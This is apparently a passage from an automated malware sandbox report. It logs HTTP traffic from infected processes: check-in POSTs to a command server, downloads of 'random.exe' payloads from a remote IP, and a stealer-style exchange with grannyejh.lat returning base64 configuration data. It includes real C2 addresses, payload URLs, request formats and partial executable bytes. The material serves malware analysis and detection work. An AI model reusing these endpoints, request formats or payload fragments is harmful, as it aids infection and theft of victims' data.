30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 37 34 31 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 [TRUNCATED] Data Ascii: 555 <c>1017408001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1017409001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1017410001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1017411001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1017412001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1017413001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1017414001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1017415001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1017416001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#1017417001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1017418001+++b5937c1a99d5f9df0b5dafc850 [TRUNCATED]
Dec 19, 2024 07:58:09.537385941 CET	124	IN	Data Raw: 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 37 34 31 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 Data Ascii: b411b9dc4e1#1017419001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1017420001
Dec 19, 2024 07:58:09.774045944 CET	196	IN	Data Raw: 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 66 37 30 39 36 34 65 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 Data Ascii: +++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#1017421001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49890	31.41.244.11	80	4020	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:58:09.971712112 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 07:58:11.330660105 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 06:58:11 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 19, 2024 07:58:11.330730915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:58:11.330743074 CET	1236	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 19, 2024 07:58:11.330827951 CET	1236	IN	Data Raw: f0 68 6d 64 85 93 ff 35 6c 64 42 00 e8 16 fb ff ff 83 c4 08 89 45 e4 8b 55 e4 ff d2 bb 49 05 00 00 be 11 50 42 00 6a 11 68 00 50 42 00 53 56 e8 96 fc ff ff 83 c4 10 6a 0a 68 00 c0 41 00 57 8b 7d 08 57 e8 82 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 Data Ascii: hmd5ldBEUIPBjhPBSVjhAW}Wh5ldBMQj@SVuM11^_[]}uVPB'jT9BUSWV,\$@WB1D$(d=0w@ldBhb-/5ldBE(AD$
Dec 19, 2024 07:58:11.330873013 CET	1236	IN	Data Raw: 42 00 31 e0 89 44 24 08 8b 01 8b 40 04 8b 7c 01 38 85 ff 74 48 89 e3 89 d9 56 e8 1a ff ff ff 80 7b 04 00 74 31 8b 07 89 f9 ff 50 34 83 f8 ff 0f 94 c0 8b 0e 8b 51 04 8d 0c 16 83 7c 16 38 00 0f 94 c4 08 c4 0f b6 c4 c1 e0 02 0b 44 16 0c 6a 00 50 e8 Data Ascii: B1D$@\|8tHV{t1P4Q\|8DjPnL$1^_[WV D$,WB1T$A#AuL$1 ^_\|$0t1PP?BBDBD@Bt$RWhABV?
Dec 19, 2024 07:58:11.330885887 CET	1236	IN	Data Raw: 78 01 81 ff 00 10 00 00 72 14 8b 51 fc 83 c1 fc 29 d1 83 f9 20 73 33 83 c0 24 89 c7 89 d1 57 51 e8 49 0a 00 00 83 c4 08 c7 06 5c c3 41 00 8b 4c 24 18 31 e1 e8 74 0a 00 00 89 f0 83 c4 1c 5e 5f 5b 5d c2 0c 00 e8 fd f8 ff ff e8 00 95 00 00 55 89 e5 Data Ascii: xrQ) s3$WQI\AL$1t^_[]USWV0WB1EUP WCWCzzrMw{C JUCE@rP\|P\C{MK GWuP
Dec 19, 2024 07:58:11.330898046 CET	1236	IN	Data Raw: 00 00 00 83 c4 04 8b 10 89 c1 56 ff 52 20 89 c3 8b 4f 04 85 c9 74 11 8b 01 ff 50 08 85 c0 74 08 8b 10 89 c1 6a 01 ff 12 8b 4c 24 08 31 e1 e8 a6 05 00 00 89 d8 83 c4 0c 5e 5f 5b c2 04 00 53 57 56 83 ec 0c 8b 74 24 1c a1 c0 57 42 00 31 e0 89 44 24 Data Ascii: VR OtPtjL$1^_[SWVt$WB1D$L$j\|dB$eBdPu3u-VPt94$VP<$=\|dBL$bL$1^_[WVWB1D$9u&j
Dec 19, 2024 07:58:11.331069946 CET	1236	IN	Data Raw: 68 6a b8 41 00 e8 be 01 00 00 59 c3 56 57 6a 01 e8 33 5e 00 00 59 bf 10 66 42 00 8b f0 8b cf e8 0d 0f 00 00 6a 00 56 8b cf c7 05 10 66 42 00 cc cb 41 00 e8 69 1a 00 00 68 74 b8 41 00 e8 86 01 00 00 59 5f 5e c3 6a 01 6a 00 68 10 66 42 00 b9 c0 65 Data Ascii: hjAYVWj3^YfBjVfBAihtAY_^jjhfBeBh~AeYeBiBhAEYhA9YUueYtu(Yt]} 1UuY]UEV AtjVYY^
Dec 19, 2024 07:58:11.331082106 CET	1236	IN	Data Raw: 01 8b 45 08 89 41 04 89 0d a4 65 42 00 c9 c3 e8 0a 04 00 00 cc 56 57 8b 79 04 8b 07 8b 70 08 8b ce ff 15 10 37 42 00 8b cf ff d6 8b f8 85 ff 74 12 8b 0f 6a 01 8b 31 8b ce ff 15 10 37 42 00 8b cf ff d6 5f 5e c3 56 eb 15 8b 06 8b ce a3 a4 65 42 00 Data Ascii: EAeBVWyp7Btj17B_^VeBV0Y5eBu^UVjjuYYSBEQN$AEtPjlYYBEQN,^]UEx$tp$j>YY]USW}9;t>;t3Y#t*
Dec 19, 2024 07:58:11.331094027 CET	1236	IN	Data Raw: ff c7 06 60 cb 41 00 8b c6 5e c9 c2 04 00 55 8b ec 56 ff 75 08 8b f1 e8 93 e6 ff ff c7 06 60 cb 41 00 8b c6 5e 5d c2 04 00 55 8b ec 51 56 ff 75 08 8b f1 89 75 fc e8 b1 fe ff ff c7 06 a8 c3 41 00 8b c6 5e c9 c2 04 00 83 61 04 00 8b c1 83 61 08 00 Data Ascii: `A^UVu`A^]UQVuuA^aaAB$AUEM#P+w]{AQvRPPQEAQvPRPQ+UE9EtQvPuRQ]UUv<=At3
Dec 19, 2024 07:58:11.450511932 CET	1236	IN	Data Raw: ff 75 08 8b 40 04 c7 04 06 7c cb 41 00 8b 06 8b 48 04 8d 41 f8 89 44 31 fc 8b 06 8b 48 04 03 ce e8 d7 fe ff ff 8b c6 e8 e1 1b 00 00 c2 0c 00 55 8b ec 56 8d 71 f8 8b ce e8 17 00 00 00 f6 45 08 01 74 0a 6a 50 56 e8 ff f1 ff ff 59 59 8b c6 5e 5d c2 Data Ascii: u@\|AHAD1HUVqEtjPVYY^]UjhAdPWB3PEdQ@D\|AHADeRlAYMdYjA3Aj^^^^^^^^ ^$^(^,^0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49906	185.215.113.43	80	4020	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:58:15.221661091 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 34 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017408001&unit=246122658369
Dec 19, 2024 07:58:16.554827929 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 06:58:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49907	31.41.244.11	80	4020	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:58:16.677097082 CET	61	OUT	GET /files/london/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 07:58:18.024658918 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 06:58:17 GMT Content-Type: application/octet-stream Content-Length: 1885696 Last-Modified: Wed, 18 Dec 2024 18:20:46 GMT Connection: keep-alive ETag: "6763127e-1cc600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gJ@J%-@T0h 1 H@.rsrc X@.idata 0Z@ *@\@uzxdwyviP 0B^@efzdldigpJ@.taggant0J"@
Dec 19, 2024 07:58:18.024701118 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:58:18.024755955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:58:18.024794102 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:58:18.024828911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:58:18.024966955 CET	672	IN	Data Raw: 82 d1 3c 6b f2 a9 3f 64 c4 7d 12 98 22 98 9d a8 1d f9 f0 7a 81 69 65 64 d7 32 b9 b9 68 17 b7 57 43 24 e5 c0 ca 5c 96 de 59 58 1c f0 8e 4d cb c6 81 3b 48 a1 45 bf d5 e0 0e 27 90 8d ce a0 74 9c a4 33 aa 50 44 ef 33 33 c4 66 c7 dc ff f1 b3 aa a6 c7 Data Ascii: <k?d}"zied2hWC$\YXM;HE't3PD33fHM"RP_W&"!E^;vV&/y6{`}O.s?@&28d=j@yd-tm>7r9MM\| tt&1v^!f.&b@kM?[@R
Dec 19, 2024 07:58:18.025000095 CET	1236	IN	Data Raw: a9 6e bf c6 57 cd fd 16 18 29 60 71 e6 87 fe ae 0a 31 f6 7d bc 5a 34 58 b1 d5 e9 11 4b 53 d2 95 01 f1 14 ad 65 79 e2 bc c4 4e ba f6 41 41 c3 dc 33 cd cd 28 81 2d fc ba c5 e5 5e 94 3e 4d ed 7b 9d 42 c2 40 3c 69 e9 b9 91 78 94 ca 8a 45 01 8a 02 d9 Data Ascii: nW)`q1}Z4XKSeyNAA3(-^>M{B@<ixEq9{X64mk%aa-r(Ml':-.AC5`2B[VAd!^iynugK6`tst~\|G61Y5&:`c_}Kz{;\
Dec 19, 2024 07:58:18.025033951 CET	1236	IN	Data Raw: 4f 19 68 44 7e 28 a0 ee 57 21 15 65 5c 65 42 40 68 e8 83 b3 12 68 f5 10 f8 ea 58 71 80 76 79 7c 34 49 b2 f8 50 5e e0 72 38 3a 7d 45 49 9e fe 43 c6 54 9d fb db d1 e5 e1 9c ce f7 da 5e 43 e6 6b ca 0d 58 80 fe eb c8 43 4d 32 41 d1 57 08 ec 89 41 4e Data Ascii: OhD~(W!e\eB@hhXqvy\|4IP^r8:}EICT^CkXCM2AWAN voqpgx8u<~LS>pw_ &wD?ve?JUl^1c'"[w8+QU,CS;TYu=}e6`yaIu>Xyu1?Ft
Dec 19, 2024 07:58:18.025067091 CET	448	IN	Data Raw: 04 d7 74 18 f1 0a 3e 0a 18 15 ea c2 dd 5c f9 c3 01 4d 06 9a fd 3e be 0b 87 a5 7a e1 d9 0e ee c5 c0 cf 91 c8 fb 2e 22 59 f2 18 91 00 37 7b d0 5e a8 f4 b0 ff e8 7b 39 d3 dc b7 0c 99 b9 ce e1 ee 3d c6 f9 94 fc 14 9f d6 14 0b 4b 4f 15 01 78 5b d1 d1 Data Ascii: t>\M>z."Y7{^{9=KOx[X{QIsyIj<g3MN:Dle@ay}&y.=ht}e@\|MseCfC#ryD)D~bY/s0:yA@0[ODs+^
Dec 19, 2024 07:58:18.025103092 CET	1236	IN	Data Raw: ce b3 75 db 64 f3 ff fb 46 40 0a ac b9 05 88 9f d2 1d 91 fa cd 55 3c 50 51 e5 e4 9a df aa 5b ad f5 2f b3 a1 ca ad 87 d6 39 15 fc 45 ad b5 15 c3 7e 0d 16 e3 44 e5 85 60 ad 26 74 da 75 50 87 3b f1 75 8c 53 24 7a a1 b7 b3 29 a5 ee f6 2e 0c 26 8c bd Data Ascii: udF@U<PQ[/9E~D`&tuP;uS$z).&]7w-\|Nr-=(YdMTKn>smx'JN\vOt;BSC"!0qY3YOJDMQ\|t3mA-nyr1
Dec 19, 2024 07:58:18.144975901 CET	1236	IN	Data Raw: c4 ab 59 80 52 a9 a6 9d bf d7 f5 7d 4d 34 ba f2 59 a8 5f fe 1d 61 f7 f5 c3 a5 5f c0 7d 4b 25 15 ed 0f 12 91 7a 91 bd 01 86 35 63 94 d5 3f d4 5b 59 39 06 8e c4 c8 a1 8e 2d 85 d6 d8 a6 50 44 c0 03 15 c3 4a 32 39 6e e2 0c 13 39 2d 10 6a ba 10 b3 6f Data Ascii: YR}M4Y_a_}K%z5c?[Y9-PDJ29n9-jo2`lAn9YtYnnN/\W>Bl,)f*:,^@S8@@(jau5rc6,O[t\JNK$G556JaoJtND\|'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49927	185.215.113.43	80	4020	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:58:23.691612959 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 34 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017409001&unit=246122658369
Dec 19, 2024 07:58:25.891679049 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 06:58:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.179.109	443	6360	C:\Users\user\Desktop\AWrVzd6XpC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:56:21 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-19 06:56:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 06:56:21 UTC	1117	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:56:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=94prmfjti610ctr609fgv2r6oq; expires=Mon, 14 Apr 2025 00:43:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y463CNljOnkAG5YFol4SIFT%2BJ1qyMFKpOk%2FjRdc615D4EAx3UFrVFWR8dEfwSY0Qo1d5yKJzbxc0YLEdqQ3N5jLO2gewkcdmsk3yGF%2BeBIowJ6SQdZNlOoLV2DwasjCt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f457e04bc76436e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1700&rtt_var=648&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1673352&cwnd=235&unsent_bytes=0&cid=7553b2b903abfa8e&ts=833&x=0"
2024-12-19 06:56:21 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-19 06:56:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.179.109	443	6360	C:\Users\user\Desktop\AWrVzd6XpC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:56:23 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: grannyejh.lat
2024-12-19 06:56:23 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-19 06:56:23 UTC	1117	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:56:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dcoj6pqncdn4v7o58q72utfbas; expires=Mon, 14 Apr 2025 00:43:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HL2XfoQG87eoJpeAuuioPNwBo%2FnsXTdOUunnlv4oAKPgCtfwG71wE%2BiJjqVECXz64TZGeVmmxcJs%2FYsC8btvhcYVrnLdYfIMG7EFbo8KYXJ1UiH81vMjeen8Tsn1Wvn9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f457e122b02428f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2050&min_rtt=2049&rtt_var=772&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=944&delivery_rate=1415414&cwnd=100&unsent_bytes=0&cid=62975dd167241399&ts=851&x=0"
2024-12-19 06:56:23 UTC	252	IN	Data Raw: 34 39 31 63 0d 0a 61 56 41 74 53 33 2b 62 37 75 34 30 6b 71 4b 36 33 72 39 42 33 61 4a 42 6b 6c 5a 37 79 79 63 6c 65 61 4d 6f 62 46 33 69 68 4e 34 53 63 6c 74 70 52 61 2f 43 7a 45 66 33 67 49 43 71 7a 54 53 34 6a 6d 50 7a 4d 6c 6e 78 51 55 51 56 30 45 31 41 66 35 54 70 2f 46 4d 32 54 43 63 4d 2f 73 4c 4d 55 65 71 41 67 49 58 45 59 37 6a 4d 59 36 68 30 48 71 46 46 52 42 58 42 53 51 63 79 6b 75 69 39 41 54 78 4b 49 78 72 34 69 6f 39 59 2f 38 66 66 75 39 34 72 73 38 73 73 2b 6a 74 5a 35 77 56 41 41 34 45 53 54 68 43 48 38 4c 38 6b 4d 56 34 67 58 65 62 43 6c 52 62 33 7a 4a 6a 6b 6e 53 43 34 77 43 33 30 4d 68 43 6a 54 30 30 64 77 45 77 47 4c 59 76 69 74 67 45 79 53 53 49 51 38 5a 36 43 55 76 6a 4d 32 62 48 65 59 2f 47 41 4a 4f 68 30 51 65 6b 57 64 52 Data Ascii: 491caVAtS3+b7u40kqK63r9B3aJBklZ7yycleaMobF3ihN4ScltpRa/CzEf3gICqzTS4jmPzMlnxQUQV0E1Af5Tp/FM2TCcM/sLMUeqAgIXEY7jMY6h0HqFFRBXBSQcykui9ATxKIxr4io9Y/8ffu94rs8ss+jtZ5wVAA4ESThCH8L8kMV4gXebClRb3zJjknSC4wC30MhCjT00dwEwGLYvitgEySSIQ8Z6CUvjM2bHeY/GAJOh0QekWdR
2024-12-19 06:56:23 UTC	1369	IN	Data Raw: 6a 51 57 78 73 79 6b 4f 44 38 46 48 78 57 61 52 72 31 7a 4e 51 57 2b 4d 7a 57 75 64 34 73 75 4d 45 6a 34 6a 73 5a 71 6b 31 50 48 38 74 46 41 54 43 4f 37 4c 73 44 4f 30 67 6d 47 76 47 4b 67 31 57 77 6a 70 69 37 78 57 50 6e 67 41 50 67 4e 78 71 39 53 46 5a 62 33 67 51 58 66 34 66 71 2f 46 4e 79 53 53 63 63 39 49 79 65 58 76 76 4c 33 61 37 57 4b 72 4c 4e 49 2f 30 2b 46 71 70 46 51 42 48 4c 52 51 51 37 6a 65 75 36 43 7a 49 50 5a 31 33 2b 6c 4d 77 4f 73 4f 50 64 72 4e 6f 76 71 59 49 5a 73 43 74 58 73 41 56 41 46 34 45 53 54 6a 65 46 35 62 38 41 50 55 77 68 46 75 75 4d 6e 6c 44 39 78 63 71 36 32 43 32 31 77 7a 48 36 4f 68 2b 71 54 45 77 53 78 45 30 4b 66 38 36 6d 75 78 4e 79 46 32 6b 38 39 49 65 41 58 4f 66 41 6d 4b 4f 54 4f 76 2f 48 4c 37 42 73 57 61 31 45 51 Data Ascii: jQWxsykOD8FHxWaRr1zNQW+MzWud4suMEj4jsZqk1PH8tFATCO7LsDO0gmGvGKg1Wwjpi7xWPngAPgNxq9SFZb3gQXf4fq/FNySScc9IyeXvvL3a7WKrLNI/0+FqpFQBHLRQQ7jeu6CzIPZ13+lMwOsOPdrNovqYIZsCtXsAVAF4ESTjeF5b8APUwhFuuMnlD9xcq62C21wzH6Oh+qTEwSxE0Kf86muxNyF2k89IeAXOfAmKOTOv/HL7BsWa1EQ
